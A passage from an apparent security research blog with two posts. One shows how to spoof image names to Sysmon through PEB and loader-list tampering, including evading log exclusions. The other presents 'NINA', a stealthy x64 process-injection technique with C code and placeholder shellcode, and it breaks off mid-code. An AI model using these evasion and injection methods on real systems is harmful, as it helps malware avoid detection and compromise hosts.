ProcessParameters-&gt;ImagePathName = FakeImagePathName;</code></pre><p>That&apos;s literally it.</p><h2 id="affected-events">Affected Events</h2><p>So now that I know this function exists and takes multiple parameters (some are <code>NULL</code>&apos;d out in what I&apos;ve shown), I thought that surely there must be more uses of it elsewhere. Lo and behold, it is:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-15.png" class="kg-image" alt loading="lazy"><figcaption>Affected events using <code>GetProcessInfo</code></figcaption></figure><p>IDA&apos;s proximity view comes especially in handy here showing which functions lead to <code>GetProcessInfo</code>. File events, registry, and process access events are all affected, with varying degrees of impact on the event data which we shall see soon. Although the thread notification callback routine uses this function, the reason I&apos;ve not highlighted is that the process cannot change its PEB data before control can be gained by the process (unless someone knows a way to do this too).</p><p>Luckily, there haven&apos;t been many changes between Sysmon 10.42 and 11.0 - I believe most of them were for the new file archiving functionality - so the issue persists.</p><h3 id="event-id-11-filecreate">Event ID 11 - FileCreate</h3><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-22.png" class="kg-image" alt loading="lazy"><figcaption>FileCreate event with faked image</figcaption></figure><h3 id="event-id-23-filedelete">Event ID 23 - FileDelete</h3><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-23.png" class="kg-image" alt loading="lazy"><figcaption>FileDelete event with faked image</figcaption></figure><p>While both of these file events can have false image values, the target file object&apos;s path cannot be modified.</p><h3 id="event-id-23-registryevent-set-value-">Event ID 23 - RegistryEvent (Set Value)</h3><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-24.png" class="kg-image" alt loading="lazy"><figcaption>Registry set value event with faked image</figcaption></figure><h3 id="event-id-12-registryevent-add-or-delete-">Event ID 12 - RegistryEvent (Add or Delete)</h3><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-25.png" class="kg-image" alt loading="lazy"><figcaption>Registry add or delete event with fake image</figcaption></figure><p>Similar to the file events, the target registry object cannot be changed.</p><h2 id="processaccess">ProcessAccess</h2><p>The ProcessAccess event has an additional CallTrace element that tracks the call stack. If we try the same PEB trick, we get the following:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-26.png" class="kg-image" alt loading="lazy"><figcaption>ProcessAccess event with faked source image</figcaption></figure><p>Here, the CallTrace values reveal the true source image path. These values are obtained with the <code>RtlWalkFrameChain</code> function. The reason why I have included <code>\Downloads\</code> in the string is so that Sysmon will trigger the event for demonstration purposes.</p><p>To get the image names, Sysmon enumerates the linked list of modules within the PEB for each address within the call stack. It will read the PEB&apos;s <a href="https://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html"><code>PEB_LDR_DATA</code></a> structure first:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-36.png" class="kg-image" alt loading="lazy"><figcaption>Read PEB&apos;s <a href="https://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html"><code>PEB_LDR_DATA</code></a> structure</figcaption></figure><p>Then it will call the function - I named it <code>GetBackTraceModuleInfo</code> - passing in the <a href="https://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html"><code>PEB_LDR_DATA</code></a>, <code>InMemoryOrderModuleList</code> list, the address to query (<code>BackTraceEntry</code>), and <code>ModuleInfo</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-37.png" class="kg-image" alt loading="lazy"><figcaption>Calling <code>GetBackTraceModuleInfo</code></figcaption></figure><p>The proprietary <code>ModuleInfo</code> structure contains the following information:</p><pre><code class="language-c">typedef struct _MODULE_INFO {
    /*   0 */ WCHAR FullDllName[260];   // Module name.
    /* 208 */ PVOID Reserved;
    /* 210 */ PVOID DllBase;
    /* 218 */ ULONG SizeOfImage;
    /* 21C */ BOOLEAN IsWow64;
    /* 220 */ PVOID BackTraceAddress;
} MODULE_INFO, * PMODULE_INFO;</code></pre><p>This function performs the module list enumeration to locate the module which contains the <code>BackTraceEntry</code> address. It is tested against <code>DllBase</code> and <code>DllBase + SizeOfImage</code> obtained from the <code>LDR_DATA_TABLE_ENTRY</code> structure:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-38.png" class="kg-image" alt loading="lazy"><figcaption>Checking <code>BackTraceEntry</code>&apos;s address</figcaption></figure><p>Since this depends on user-mode data, it can be falsified just like the PEB&apos;s image file name. An interesting discovery is that the module list is iterated until either the end of the list is reached or if the enumeration hits 512 entries, whichever first:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-41.png" class="kg-image" alt loading="lazy"><figcaption>List enumeration loop condition</figcaption></figure><p>This means that we don&apos;t have to modify the original module&apos;s entry, we can append a fake one.</p><figure class="kg-card kg-code-card"><pre><code class="language-c">PLIST_ENTRY MemList = Peb-&gt;Ldr-&gt;InMemoryOrderModuleList.Flink;
PLDR_DATA_TABLE_ENTRY SelfTableEntry = NULL;

for (ULONG_PTR i = 0; MemList != &amp;Peb-&gt;Ldr-&gt;InMemoryOrderModuleList; i++) {
	PLDR_DATA_TABLE_ENTRY Ent = CONTAINING_RECORD(
		MemList,
		LDR_DATA_TABLE_ENTRY,
		InMemoryOrderLinks
	);
    
	if (!_wcsicmp(Ent-&gt;FullDllName.Buffer, argv[0])) {
		SelfTableEntry = Ent;
	}

	MemList = MemList-&gt;Flink;
}

LDR_DATA_TABLE_ENTRY FakeTableEntry;
if (SelfTableEntry) {
	//
	// Copy own module&apos;s image size and DLL base
	// to trick Sysmon.
	//
	FakeTableEntry.DllBase = SelfTableEntry-&gt;DllBase;
	//
	// SizeOfImage.
	//
	FakeTableEntry.Reserved3[1] = SelfTableEntry-&gt;Reserved3[1];
	//
	// Fake the image name.
	//
	FakeTableEntry.FullDllName = FakeImagePathName;

	//
	// Append to module list.
	//
	FakeTableEntry.InMemoryOrderLinks.Blink = MemList;
	FakeTableEntry.InMemoryOrderLinks.Flink = &amp;Peb-&gt;Ldr-&gt;InMemoryOrderModuleList;
	MemList-&gt;Blink-&gt;Flink = &amp;FakeTableEntry.InMemoryOrderLinks;
	Peb-&gt;Ldr-&gt;InMemoryOrderModuleList.Blink = &amp;FakeTableEntry.InMemoryOrderLinks;
}</code></pre><figcaption>Appending fake <code>LDR_DATA_TABLE_ENTRY</code> module entry</figcaption></figure><p>The resulting log now reflects the fake process name in the CallTrace value:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-43.png" class="kg-image" alt loading="lazy"><figcaption>Fake image name in CallTrace</figcaption></figure><h2 id="bypassing-logging">Bypassing Logging</h2><p>In the event where events have exclusions based on image names, it&apos;s possible to forge the image names using the above technique and stop Sysmon from logging the event entirely. Let&apos;s look at an example.</p><p><a href="https://twitter.com/SwiftOnSecurity">SwiftOnSecurity</a>&apos;s <a href="https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml">Sysmon configuration file</a> contains the following inclusions for the FileCreate event:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-27.png" class="kg-image" alt loading="lazy"><figcaption>FileCreate event inclusion triggers</figcaption></figure><p>An example trigger here would be creating a file in the Downloads directory like so:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-29.png" class="kg-image" alt loading="lazy"><figcaption>Creating a file in the Downloads directory logged by Sysmon</figcaption></figure><p>Now let&apos;s look at the exclusions for this event:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-28.png" class="kg-image" alt loading="lazy"><figcaption>FileCreate event exclusions</figcaption></figure><p>If our image name is <code>C:\Windows\system32\smss.exe</code>, Sysmon would not log the event. Can we bypass Sysmon from logging?</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-30.png" class="kg-image" alt loading="lazy"><figcaption>Bypassing Sysmon&apos;s FileCreate event with faked image</figcaption></figure><p>We can see that Sysmon doesn&apos;t log the FileCreate event. Success!</p><h2 id="bonus-process-access-method">Bonus Process Access Method</h2><p>One of the sections in Bill Demirkapi&apos;s Trend Micro post discusses the <em>EPROCESS ImageFileName Offset</em>. If we have a look at the disassembly after the <code>GetProcessInfo</code> call from the <code>ObRegisterCallbacks</code>&apos; post operation, we can see the <code>GetProcessImageFileNameByHandle</code> function:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-31.png" class="kg-image" alt loading="lazy"><figcaption><code>GetProcessImageFileNameByHandle</code> fallback method</figcaption></figure><p>This function is only triggered when <code>GetProcessInfo</code> fails. Let&apos;s see how it retrieves the image file name:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-32.png" class="kg-image" alt loading="lazy"><figcaption><code>GetProcessImageFileNameByHandle</code> function</figcaption></figure><p>The blue highlights the <code>CurrentProcessImageFileName</code> parameter which can be seen to receive a <code>UNICODE_STRING</code> pool buffer at the bottom. In the red, we can see that the global variable <code>g_ProcessNameOffset</code> is added onto the <code>PEPROCESS</code> object returned by <code>ObReferenceObjecyByHandle</code>. If we trace the origin of <code>g_ProcessNameOffset</code>, we get the following:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-33.png" class="kg-image" alt loading="lazy"><figcaption><code>g_ProcessNameOffset</code> origin</figcaption></figure><p>This essentially translates to:</p><pre><code class="language-c">PEPROCESS Process = IoGetCurrentProcess();

for (int g_ProcessNameOffset = 0; g_ProcessNameOffset &lt; 0x3000; g_ProcessNameOffset++) {
    if (!strncmp(&quot;System&quot;, (PUCHAR)Process + g_ProcessNameOffset, strlen(&quot;System&quot;)) {
    	break;
    }
}</code></pre><p>Of course there is proper API to access the <code>ImageFileName</code> offset in the <code>EPROCESS</code> structure (<code>ZwQueryInformationProcess</code> with <code>ProcessImageFileName</code>). So why does it exist? <a href="https://twitter.com/analyzev">@analyzev</a> notes on <a href="https://twitter.com/analyzev/status/1262539410941382656?s=20">this Twitter thread</a> that this function dates back to this <a href="https://github.com/weixu8/RegMon/blob/master/DD/REGSYS.C#L1532">RegMon source</a> and it matches <em>exactly</em> with Sysmon&apos;s.</p><p>I believe this method of retrieving the image name can produce false results. If the file on disk is renamed or moved, the changes may not be reflected in the EPROCESS structure.</p><h2 id="conclusion">Conclusion</h2><p>It&apos;s interesting to see critical data being retrieved in an unreliable and user-controlled way. I&apos;m curious as to what impact this may have from a detection and forensics point of view. Events may slip by unnoticed or certain alerts may not fire if rules do not match where image names are used. Of course Sysmon shouldn&apos;t be the only source of logging and some of the affected events are not entirely untrustworthy so the overall effect may not be so concerning. But something to think about...</p>]]></content:encoded></item><item><title><![CDATA[NINA: x64 Process Injection]]></title><description><![CDATA[NINA: No Injection, No Allocation x64 Process Injection Technique.]]></description><link>https://undev.ninja/nina-x64-process-injection/</link><guid isPermaLink="false">5ed39df59a075b04b60d5229</guid><category><![CDATA[offense]]></category><dc:creator><![CDATA[NtRaiseHardError]]></dc:creator><pubDate>Thu, 04 Jun 2020 07:50:47 GMT</pubDate><content:encoded><![CDATA[<p>In this post, I will be detailing an experimental process injection technique with a hard restriction on the usage of common and &quot;dangerous&quot; functions, i.e. <code>WriteProcessMemory</code>, <code>VirtualAllocEx</code>, <code>VirtualProtectEx</code>, <code>CreateRemoteThread</code>, <code>NtCreateThreadEx</code>, <code>QueueUserApc</code>, and <code>NtQueueApcThread</code>. I&apos;ve called this technique <em>NINA</em>: <strong>N</strong>o <strong>I</strong>njection, <strong>N</strong>o <strong>A</strong>llocation. The aim of this technique is to be stealthy (obviously) by reducing the number of suspicious calls without the need for complex ROP chains. The PoC can be found here: <a href="https://github.com/NtRaiseHardError/NINA">https://github.com/NtRaiseHardError/NINA</a>.</p><p>Tested environments: </p><ul><li>Windows 10 x64 version 2004</li><li>Windows 10 x64 version 1903</li></ul><h2 id="implementation-no-injection">Implementation: No Injection</h2><p>Let&apos;s start with a solution that removes the need for data <em>injection</em>.</p><p>The most basic process injection requires a few basic ingredients:</p><ul><li>A target address to contain the payload,</li><li>Passing the payload to the target process, and</li><li>An execution operation to execute the payload</li></ul><p>To keep the focus on the <em>No Injection</em> section, I will use the classic <code>VirtualAllocEx</code> to allocate memory in the remote process. It is important to keep pages from having write and execute permissions at the same time so <code>RW</code> should be set initially and then re-protected with <code>RX</code> after the data has been written. Since I will discuss the <em>No Allocation</em> method later, we can set the pages to <code>RWX</code> for now to keep things simple.</p><p>If we restrict ourselves from using data injection, it means that the malicious process does not use <code>WriteProcessMemory</code> to directly transfer data from itself into the target process. To handle this, I was inspired by the <em>reverse <code>ReadProcessMemory</code></em> documented by Deep Instinct&apos;s (complex) <a href="https://www.deepinstinct.com/2019/07/24/inject-me-x64-injection-less-code-injection/">&quot;Inject Me&quot; process injection technique</a> (shared to me by <a href="https://twitter.com/slaeryan/">@slaeryan</a>). There exists other methods of passing data into a process: using <code>GlobalGetAtomName</code> (from the Atom Bombing technique), and passing data through either the command line options or <a href="https://x-c3ll.github.io/posts/GetEnvironmentVariable-Process-Injection/">environment variables</a> (with the <code>CreateProcess</code> call to spawn a target process). However, these three methods have one small limitation in that the payload must not contain NULL characters. <a href="http://blog.txipinet.com/2007/04/05/69-a-paradox-writing-to-another-process-without-openning-it-nor-actually-writing-to-it/">Ghost Writing</a> is also an option but it requires a complex ROP chain. </p><p>To gain execution, I&apos;ve opted for a thread hijacking style technique using the crucial <code>SetThreadContext</code> function since we cannot use <code>CreateRemoteThread</code>, <code>NtCreateThreadEx</code>, <code>QueueUserApc</code>, and <code>NtQueueApcThread</code>.</p><p>Here is the procedure:</p><ol><li><code>CreateProcess</code> to spawn a target process,</li><li><code>VirtualAllocEx</code> to allocate memory for the payload and a stack,</li><li><code>SetThreadContext</code> to force the target process to execute <code>ReadProcessMemory</code>,</li><li><code>SetThreadContext</code> to execute the payload.</li></ol><h3 id="createprocess">CreateProcess</h3><p>There are some considerations that should be taken when using this injection technique. The first comes from the <code>CreateProcess</code> call. Although this technique does not rely on <code>CreateProcess</code>, there are some reasons why it may be advantageous to use this instead of something like <code>OpenProcess</code> or <code>OpenThread</code>. One reason is that there is no remote (external) process access to obtain handles which could otherwise be detected by monitoring tools, such as Sysmon, that use <code>ObRegisterCallbacks</code>. Another reason is that it allows for the two aforementioned data injection methods using the command line and environment variables. If you&apos;re creating the process, you could also leverage <a href="https://blog.xpnsec.com/protecting-your-malware/">blockdlls and ACG</a> to defeat antivirus user-mode hooking.</p><h3 id="virtualallocex">VirtualAllocEx</h3><p>Of course the target process needs to be able to house the payload but this technique also requires a stack. This will be made clear shortly.</p><h3 id="readprocessmemory">ReadProcessMemory</h3><p>To use this function in a reversed manner, we must consider two issues: passing argument five on the stack and using a valid process handle to our own malicious process. Let&apos;s look at the issue with the fifth argument first:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">BOOL ReadProcessMemory(
  HANDLE  hProcess,
  LPCVOID lpBaseAddress,
  LPVOID  lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesRead
);</code></pre><figcaption><code>ReadProcessMemory</code> arguments</figcaption></figure><p>Using <code>SetThreadContext</code> only allows for the first four arguments on x64. If we read the description for <code>lpNumberOfBytesRead</code>, we can see that it&apos;s optional:</p><blockquote>A pointer to a variable that receives the number of bytes transferred into the specified buffer. If lpNumberOfBytesRead is NULL, the parameter is ignored.</blockquote><p>Luckily, if we use <code>VirtualAllocEx</code> to create pages, the function will zero them:</p><blockquote>Reserves, commits, or changes the state &#xA0;of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.</blockquote><p>Setting the stack to the zero-allocated pages will provide a valid fifth argument.</p><p>The second problem is the process handle passed to <code>ReadProcessMemory</code>. Because we&apos;re trying to get the target process to read our malicious process, we need to give it a handle to our process. This can be achieved using the <code><a href="https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-duplicatehandle">DuplicateHandle</a></code> function. It will be given our current process handle and return a handle which can be used by the target process.</p><h3 id="setthreadcontext">SetThreadContext</h3><p><code>SetThreadContext</code> is a powerful and flexible function that allows reads, writes, and executes. But there is a known issue with using it to pass fastcall arguments: the volatile registers <code>RCX</code>, <code>RDX</code>, <code>R8</code> and <code>R9</code> cannot be reliably set to desired values. Consider the following code:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">    // Get target process to read shellcode
    SetExecutionContext(
    	// Target thread
        &amp;TargetThread,
        // Set RIP to read our shellcode
        _ReadProcessMemory,
        // RSP points to stack
        StackLocation,
        // RCX: Handle to our own process to read shellcode
        TargetProcess,
        // RDX: Address to read from
        &amp;Shellcode,
        // R8: Buffer to store shellcode
        TargetBuffer,
        // R9: Size to read
        sizeof(Shellcode)
    );</code></pre><figcaption>Forcing target process to execute <code>ReadProcessMemory</code></figcaption></figure><p>If we execute this code, we expect the volatile registers to hold their correct values when the target thread reaches <code>ReadProcessMemory</code>. However, this is not what happens in practice:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/bad-volatile-registers.png" class="kg-image" alt loading="lazy"><figcaption>Incorrect volatile registers for <code>ReadProcessMemory</code></figcaption></figure><p>For some unknown reason, the volatile registers are changed and makes this technique unusable. <code>RCX</code> is not a valid handle to a process, <code>RDX</code> is zero and <code>R9</code> is too big. There is a method that I have discovered that allows volatile registers to be set reliably: simply set <code>RIP</code> to an infinite <code>jmp -2</code> loop before using <code>SetThreadContext</code>. Let&apos;s see it in action:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/set-inf-loop.png" class="kg-image" alt loading="lazy"><figcaption>Infinite <code>jmp -2</code> loop</figcaption></figure><p>The infinite loop can be executed using <code>SetThreadContext</code>, then <code>ReadProcessMemory</code> can be called with the correct volatile registers:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/good-volatile-registers.png" class="kg-image" alt loading="lazy"><figcaption>Correct volatile registers for <code>ReadProcessMemory</code></figcaption></figure><p>Now we need to handle the return. Note that we allocated and pivoted to our own stack. If we can use <code>ReadProcessMemory</code> to read the shellcode into the stack location at <code>RSP</code>, we can set the first 8 bytes of the shellcode so that it will <code>ret</code> back into itself. Here is an example:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">BYTE Shellcode[] = {
	// Placeholder for ret from ReadProcessMemory to Shellcode + 8
	0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE,
	// Shellcode starts here...
	0xEB, 0xFE, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAA,
	0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x90, 0x90, 0x90
};</code></pre><figcaption>Example shellcode</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/ret-stack-shellcode-1.png" class="kg-image" alt loading="lazy"><figcaption>Stack and shellcode</figcaption></figure><p><code>RSP</code> and <code>R8</code> point to <code>000001F457C21000</code>. The addresses going upwards will be used for the stack in the <code>ReadProcessMemory</code> call. The target buffer where the shellcode will be written is from <code>R8</code> downwards. When <code>ReadProcessMemory</code> returns, it will use the first 8 bytes of the shellcode as the return address to <code>000001F457C21008</code> where the real shellcode starts:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image.png" class="kg-image" alt loading="lazy"><figcaption><code>ReadProcessMemory</code> <code>ret</code> back into shellcode + 8</figcaption></figure><h2 id="implementation-no-allocation">Implementation: No Allocation</h2><p>Let&apos;s now discuss how we can improve by removing the need for <code>VirtualAllocEx</code>. This is a bit less trivial than the previous section because there are some initial issues that arise:</p><ul><li>How will we set up the stack for <code>ReadProcessMemory</code>?</li><li>How will the shellcode be written <em>and executed</em> using <code>ReadProcessMemory</code> if there are no <code>RWX</code> sections?</li></ul><p>But why should we <em>need</em> to allocate memory when it&apos;s already there for us to use? Keep in mind that if any existing pages in memory are affected, care needs to be taken to not overwrite any critical data if the original execution flow should be restored.</p><h3 id="the-stack">The Stack</h3><p>If we cannot allocate memory for the stack,we can find an empty <code>RW</code> page to use. If there&apos;s a worry for the NULL fifth argument for <code>ReadProcessMemory</code>, that can be easily solved. If we don&apos;t want to overwrite potentially critical data, we can take advantage of section padding within possible <code>RW</code> pages that lie within the executable image. Of course, this assumes that there is padding available.</p><p>To locate <code>RW</code> pages within the executable image&apos;s memory range, we can locate the image&apos;s base address through the Process Environment Block (PEB), then use <code>VirtualQueryEx</code> to enumerate the range. This function will return information such as the protection and its size which can be used to find any existing <code>RW</code> pages and if they&apos;re appropriately sized for the shellcode.</p><figure class="kg-card kg-code-card"><pre><code class="language-c">    //
    // Get PEB.
    //
    NtQueryInformationProcess(
        ProcessHandle,
        ProcessBasicInformation,
        &amp;ProcessBasicInfo,
        sizeof(PROCESS_BASIC_INFORMATION),
        &amp;ReturnLength
    );
    
    //
    // Get image base.
    //
    ReadProcessMemory(
        ProcessHandle,
        ProcessBasicInfo.PebBaseAddress,
        &amp;Peb,
        sizeof(PEB),
        NULL
    );
    ImageBaseAddress = Peb.Reserved3[1];
    
    //
    // Get DOS header.
    //
    ReadProcessMemory(
        ProcessHandle,
        ImageBaseAddress,
        &amp;DosHeader,
        sizeof(IMAGE_DOS_HEADER),
        NULL
    );
    
    //
    // Get NT headers.
    //
    ReadProcessMemory(
        ProcessHandle,
        (LPBYTE)ImageBaseAddress + DosHeader.e_lfanew,
        &amp;NtHeaders,
        sizeof(IMAGE_NT_HEADERS),
        NULL
    );
    
    //
    // Look for existing memory pages inside the executable image.
    //
    for (SIZE_T i = 0; i &lt; NtHeaders.OptionalHeader.SizeOfImage; i += MemoryBasicInfo.RegionSize) {
        VirtualQueryEx(
            ProcessHandle,
            (LPBYTE)ImageBaseAddress + i,
            &amp;MemoryBasicInfo,
            sizeof(MEMORY_BASIC_INFORMATION)
        );

        //
        // Search for a RW region to act as the stack.
        // Note: It&apos;s probably ideal to look for a RW section 
        // inside the executable image memory pages because
        // the padding of sections suits the fifth, optional
        // argument for ReadProcessMemory and WriteProcessMemory.
        //
        if (MemoryBasicInfo.Protect &amp; PAGE_READWRITE) {
            //
            // Stack location in RW page starting at the bottom.
            //
        }
    }</code></pre><figcaption>Example code to query <code>RW</code> page for stack.&#xA0;</figcaption></figure><p>After locating the correct page, the position of the stack should be enumerated upwards from the bottom of the page (due to the nature of stacks) and a <code>0x0000000000000000</code> value should be found for <code>ReadProcessMemory</code>&apos;s fifth argument. This means that we need to make sure the stack offset is at least <code>0x28</code> from the bottom plus space for the shellcode.</p><figure class="kg-card kg-code-card"><pre><code>                   +--------------+
                   |     ...      |
                   +--------------+ -0x30
    Should be 0 -&gt; |     arg5     |
                   +--------------+ -0x28
                   |     arg4     |
                   +--------------+ -0x20
                   |     arg3     |
                   +--------------+ -0x18
                   |     arg2     |
                   +--------------+ -0x10
                   |     arg1     |
                   +--------------+ -0x8
                   |     ret      |
                   +--------------+ 0x0
                   |   Shellcode  |
Bottom of stack -&gt; +--------------+ </code></pre><figcaption>Stack offsets for <code>ReadProcessMemory</code></figcaption></figure><p>Here is some code that demonstrates this:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">    //
    // Allocate a stack to read a local copy.
    //
    Stack = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, AddressSize);

    //
    // Scan stack for NULL fifth arg
    //
    Success = ReadProcessMemory(
        ProcessHandle,
        Address,
        Stack,
        AddressSize,
        NULL
    );

    //
    // Enumerate from bottom (it&apos;s a stack).
    // Start from -5 * 8 =&gt; at least five arguments + shellcode.
    //
    for (SIZE_T i = AddressSize - 5 * sizeof(SIZE_T) - sizeof(Shellcode); i &gt; 0; i -= sizeof(SIZE_T)) {
        ULONG_PTR* StackVal = (ULONG_PTR*)((LPBYTE)Stack + i);
        if (*StackVal == 0) {
            //
            // Get stack offset.
            //
            *StackOffset = i + 5 * sizeof(SIZE_T);
            break;
        }
    }</code></pre><figcaption>Example code to locate stack offset</figcaption></figure><p>In the case where there are no <code>RW</code> pages inside the executable&apos;s module, we can perform a fallback to write to the stack. To find a remote process&apos; stack, we can do the following:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">    NtQueryInformationThread(
        ThreadHandle,
        ThreadBasicInformation,
        &amp;ThreadBasicInfo,
        sizeof(THREAD_BASIC_INFORMATION),
        &amp;ReturnLength
    );

    ReadProcessMemory(
        ProcessHandle,
        ThreadBasicInfo.TebBaseAddress,
        &amp;Tib,
        sizeof(NT_TIB),
        NULL
    );
    
    //
    // Get stack offset.
    //</code></pre><figcaption>Querying remote process&apos;s stack</figcaption></figure><p>The result inside <code>Tib</code> will contain the stack range addresses. With these values, we can use the code before to locate the appropriate offset starting from the bottom of the stack.</p><h3 id="writing-the-shellcode">Writing the Shellcode</h3><p>A main obstacle with no allocation is that we have to write the shellcode and then <em>execute</em> it in the same page. There is a way to do this without using <code>VirtualProtectEx</code> or complex ROP chains with this special function: <code>WriteProcessMemory.</code> Okay, I did say we couldn&apos;t use <code>WriteProcessMemory</code> to write the data from our process to the target <strong>but</strong> I didn&apos;t say that we couldn&apos;t force the target process to use it on <em>itself</em>. One of the hidden mechanisms inside <code>WriteProcessMemory</code> is that it will re-protect the target buffer&apos;s page accordingly to perform the write. Here we see that the target buffer&apos;s page is queried with <code>NtQueryVirtualMemory</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-1.png" class="kg-image" alt loading="lazy"><figcaption><code>WriteProcessMemory</code> querying the target buffer&apos;s page</figcaption></figure><p>Then the page is de-protected for writing using <code>NtProtectVirtualMemory</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-2.png" class="kg-image" alt loading="lazy"><figcaption><code>WriteProcessMemory</code> de-protecting the buffer&apos;s page before writing</figcaption></figure><p>If you&apos;ve noticed, <code>WriteProcessMemory</code> modifies the shadow stack at the beginning of the function. In this case, we need to modify the shellcode to pad for the shadow stack:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">BYTE Shellcode[] = {
	// Placeholder for ret from ReadProcessMemory to infinte jmp loop.
	0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE,
	// Pad for shadow stack.
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	// Shellcode starts here at Shellcode + 0x30...
	0xEB, 0xFE, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAA,
	0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x90, 0x90, 0x90
};</code></pre><figcaption>Updated example shellcode</figcaption></figure><p>Now we need to call both <code>ReadProcessMemory</code> <em>and</em> <code>WriteProcessMemory</code> sequentially. Going back to the return from <code>ReadProcessMemory</code>, we can simply jump back to the infinite <code>jmp</code> loop gadget to stall execution instead of the shellcode (it&apos;s in a non-executable page now):</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-3.png" class="kg-image" alt loading="lazy"><figcaption><code>ReadProcessMemory</code>&apos;s <code>ret</code> address (<code>00007FF6E13A3FC0</code>) now contains the infinite jmp loop</figcaption></figure><p>This allows time for the malicious process to call another <code>SetThreadContext</code> to set <code>RIP</code> to <code>WriteProcessMemory</code> and reuse <code>RSP</code> from <code>ReadProcessMemory</code>. We can read the shellcode from the same location that was copied by <code>ReadProcessMemory</code> (+ <code>0x30</code> bytes to the actual shellcode) and target any page with execute permissions (again, assuming that there are <code>RX</code> sections).</p><figure class="kg-card kg-code-card"><pre><code class="language-c">    // Get target process to write the shellcode
    Success = SetExecutionContext(
        &amp;ThreadHandle,
        // Set rip to read our shellcode
        &amp;_WriteProcessMemory,
        // RSP points to same stack offset
        &amp;StackLocation,
        // RCX: Target process&apos; own handle
        (HANDLE)-1,
        // RDX: Buffer to store shellcode
        ShellcodeLocation,
        // R8: Address to write from
        (LPBYTE)StackLocation + 0x30,
        // R9: size to write
        sizeof(Shellcode) - 0x30,
        NULL
    );</code></pre><figcaption>Forcing target process to execute <code>WriteProcessMemory</code></figcaption></figure><p>When <code>WriteProcessMemory</code> returns, it should return into the infinite <code>jmp</code> loop again, allowing the malicious process to make the final call to <code>SetThreadContext</code> to execute the shellcode:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">    // Execute the shellcodez
    Success = SetExecutionContext(
        &amp;ThreadHandle,
        // Set RIP to execute shellcode
        &amp;ShellcodeLocation,
        // RSP is optional
        NULL,
        // Arguments to shellcode are optional
        0,
        0,
        0,
        0,
        NULL
